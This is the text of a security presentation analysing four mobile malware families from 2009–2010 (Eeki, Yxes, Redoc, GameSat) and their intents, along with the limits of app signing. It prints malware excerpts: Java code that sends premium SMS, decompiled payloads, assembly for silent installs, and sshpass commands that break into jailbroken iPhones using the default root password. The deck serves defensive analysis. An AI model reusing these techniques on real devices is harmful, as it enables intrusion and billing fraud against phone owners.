

# The Four Horsemen Malware on Mobile Phones in 2009-2010

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#### Java/GameSat.A!tr

 Transfers small funds to authors



### Malware for Mobile Phones?!





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#### Mobile phone malware stats

- Less **numerous** than on PCs: true
  - > 170 different families
  - > 2,000 signatures (0.02% of all signatures)
- But infection is not neglectable:
  - CommWarrior (2005): >100,000 infected devices [Source: Hyppönen]
  - BeSeLo (2008): four times more [Source: AdaptiveMobile]
  - Yxes (2009): "hundreds of thousands" in China [Source: Smobile]






















Higher Risk







Imagine you want to **date** or **divination** services, would you use this Opera add-on application?

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- Standard Opera splash screen






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
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- Send SMS to short code, not so surprising for dating/ divination services

#### Meet Java/GameSat.A!tr

This is a malicious midlet! Do not use!

Risks are difficult to understand for an end-user





Jailbreaking is made simple for end-users



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- Installs Cydia on the iPhone



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


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#### Meet iPhoneOS/Eeki.\*!worm

iPhones with default root password are vulnerable to iPhoneOS/Eeki.\*!worm

Operators scanned: Vodafone, T-Mobile, Optus, MobilKom, Pannon GSM Telecom...



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
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Options

Back



# Would you install this? [HARD]

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#### Informations

Le code par défaut de l'application est 0000. Il vous est fortement recommandé de le remplacer par un nouveau code. Vous pouvez le faire à partir du menu "Code".

Veuillez entrer le code par défaut





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Meet SymbOS/Yxes.E!worm

Trojaned application!



### Comparing Four Malware

Name	Platform	Skills	Vulnerabilities
Eeki	iPhone	Unix beginner	None
Yxes	Symbian	Good Symbian programming	None
Redoc	WinCE	.NET beginner	None
GameSat	Java	Very easy	None

#### Keep It Simple and Stupid - KISS

- Use of public API, no vulnerability
- Basic development skills
- No problem finding a few victims with over 4 billion mobile phones



# Java/GameSat.A!tr: Sending SMS

#### A few lines of code

```
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;
[...]
public final void run() {
   try {
      String str = "sms://" + this.a; // <- PHONE NUMBER
      [..] MessageConnection localMessageConnection =
              (MessageConnection)Connector.open(str);
      trv {
        TextMessage localTextMessage;
        (localTextMessage = (TextMessage)
        localMessageConnection.newMessage("text"))
                               .setPayloadText(this.b);
        localMessageConnection.send(localTextMessage);
```

# Meet WinCE/Redoc: Simple Payload

- Decompile .NET code: a legitimate interpreter (B4Pruntime.exe)
- Decompile the B4P resource: malicious payload inside!

```
Red Gate's .NET Reflector
  File View Iools Help
 ③ ⑤ | 🧽 🗷 | 💠 🔎 🛂 C#
                                        - 0

    Disassembler

     private static void Main(string[] args)
       Stream manifestResourceStream = Assembly,GetExecutingAssembly(),GetManifestResourceStream("B4Pruntime.n.b4p");
        CRunner cRunner = new CRunner();
       cRunner.globals.Arrays = new Hashtable();
       cRunner.globals.Reg = new Hashtable();
       cRunner.globals.Arrays.Add("args", args):
       CRunner,b4pDir = CReturnPath.AppPath0:
       cRunner, CBuildDesigner = new CBuildDesigner(cRunner);
       cRunner.CBuildDesigner.OpenCompiled3(manifestResourceStream);
       if (cRunner,mainForm != null)
          Application, Run(cRunner, shownForm):
```

# WinCE/Redoc: Simple Payload

```
Decompiled malware (WinCE/Redoc.D!tr)
_main_app_start
_main_cnf . new1 ( 3833 , suloto )
_main_hrd . new1
_{main_t} = (03:32)
_main_v = ( _main_t , 0 , 0 , 1 )
_main_hrd . runappattime ( _main_hrd . getspecialfolder
              _main_hrd . sfwindows ) & /cldll.exe,
              _main_v )
end_sub
[..]
>>> OBJECT TEXT: _main_hrd:Hardware
_main_cnf:SMSMessage
```

### iPhoneOS/Eeki.B!worm: Infection



Takes advantage of misconfiguration of jailbroken iPhones.

```
Checking vulnerability
sshpass -p alpine ssh -o ... root@host 'echo 99'
```

```
Infecting a new device
sshpass -p alpine scp -o ... <DIR>/cydia.tgz
      root@host:<DIR>/cydia.tgz
cd /private/var/mobile/home; tar xzf cydia.tgz; ./inst
```

## SymbOS/Yxes.\*!worm: Stealth Connections

- Automatically select an Internet Access Point
- Public API allows to disable the end-user dialog!
- Requires the NetworkServices capability: basic capability!

```
ARM Assembly Code
 Call TCommDbConnPref::TCommDbConnPref(void)
BL
       ZN15TCommDbConnPrefC1Ev
SUB
       RO, R11, #0xAC
; ECommDbDialogPrefDoNotPrompt
MOV
       R1, #3
 TCommDbConnPref::SetDialogPreference(TCommDbDialogPr
 Arg1 = object, Arg2 = DoNotPrompt
BL
       _ZN15TCommDbConnPref19SetDialog
      PreferenceE17TCommDbDialogPref
```

## SymbOS/Yxes.\*!worm: Stealth Installation

- Automatically downloads another variant and installs it
- Uses the SW Installer Launcher API

#### Connect to the Installer

```
SUB
    RO, R11, #0x54
: SwiUI::RSWInstSilentLauncher constructor
BL SWInstCli 32
SUB RO, R11, #0x54
; SwiUI::RSWInstSilentLauncher::Connect()
BL
       SWInstCli_31
```

#### Install downloaded malware

```
LDR RO, [R11, #installerobj]
MOV R1, R3 ; request status
LDR R2, [R11, #filename]; e.g c:\data\kel.sisx
MOV R3, R12; install options
; SwiUI::RSWInstSilentLauncher::SilentInstall
BL
      SWInstCli_4
```

#### Four Similar Goals

Name	Platform	Intent	
Eeki	iPhone	Steal ING Direct bank passwords	
Yxes	Symbian	Unclear. Sends SMS. Debugging	
		phase for a botnet ?	
Redoc	WinCE	Make money out of calls to premium	
		numbers	
GameSat	Java	Transfer funds to a pre-paid card	

#### At the Victim's Expense!

- SMS / Internet → high bill.
- Short codes, premium phone numbers are rented.
- Less annoywares (e.g lock, reboot the phone)

























Premium SMS? Not the real goal!

Transfer 20,000 Rp from victim's account to 0856xxxxxxxx

Victim's bill: 20,000 Rp (+ service fee)

Note: only works if victim has an Indosat prepaid card.



# Application Signing: not a Panacea

#### Application Signing for most platforms

- Apple: the iPhone store
- Symbian: Symbian Signed programs
- Android: the Android market
- Java: signed midlets ...

#### Insufficient

- SymbOS/Yxes.\*!worm: Symbian signed a malware!
  - Express Signed program
  - No testing
  - Certificate revoked, but OCSP not enabled by default :(
  - Sending an SMS = basic capability !
- Makes developer's lives difficult...
- Difficult to understand for end-users
- Is this a marketing initiative?

### A few imperfect ideas

#### Non technical solutions

- Educate end-users to "smell" malicious applications Won't solve all issues
- Sue malware authors (legal combat) Difficult to do
- Display SMS and call costs explicitly Operators?

#### Technical solutions

- Install an anti-virus ;) Unknown viruses...
- More and better analysis tools Packet sniffer, emulators, Virtual Machines...
- Compartmentalizing processes (security zones, virtual machines...) Research...
- SMS sending and contact parsing requires extended capability Would not stop Yxes

### Questions?



#### Hope you enjoyed it!

Any questions?

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